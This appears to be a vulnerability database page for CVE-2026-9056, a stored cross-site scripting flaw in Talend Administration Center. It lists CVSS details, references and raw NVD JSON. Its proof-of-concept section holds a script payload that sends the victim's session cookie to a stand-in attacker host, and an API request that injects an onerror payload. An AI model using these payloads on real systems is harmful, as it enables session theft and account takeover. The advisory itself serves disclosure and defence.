CVE-2026-9056

Description

A stored cross-site scripting vulnerability has been found in the Talend Administration Center. An attacker with permission to manage servers can store a XSS payload that can be triggered by a different user.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

参考Qlik官方安全公告获取具体受影响版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept: Stored XSS in Server Name -->
<!-- Attacker inputs the following into the Server Name field -->

<script>
  // Simulate stealing the admin's session cookie
  var img = new Image();
  img.src = "http://attacker-controlled-server.com/steal?cookie=" + document.cookie;
  alert('XSS Triggered - CVE-2026-9056');
</script>

<!-- Alternatively, a payload to be sent via API -->
/*
POST /api/servers HTTP/1.1
Host: target-talend.com
Content-Type: application/json

{
  "name": "<img src=x onerror=alert('XSS')>",
  "label": "Malicious Server"
}
*/

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9056
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9056
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9056/
[4] VulDB https://vuldb.com/cve/CVE-2026-9056
[5] https://community.qlik.com/t5/Official-Support-Articles/Security-fix-for-Qlik-Talend-Administration-Center-cross-site/ta-p/2548522

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9056", "sourceIdentifier": "4ac701fe-44e9-4bcd-9585-dd6449257611", "published": "2026-05-20T05:16:23.350", "lastModified": "2026-05-20T05:16:23.350", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting vulnerability has been found in the Talend Administration Center. An attacker with permission to manage servers can store a XSS payload that can be triggered by a different user."}], "metrics": {"cvssMetricV31": [{"source": "4ac701fe-44e9-4bcd-9585-dd6449257611", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "references": [{"url": "https://community.qlik.com/t5/Official-Support-Articles/Security-fix-for-Qlik-Talend-Administration-Center-cross-site/ta-p/2548522", "source": "4ac701fe-44e9-4bcd-9585-dd6449257611"}]}}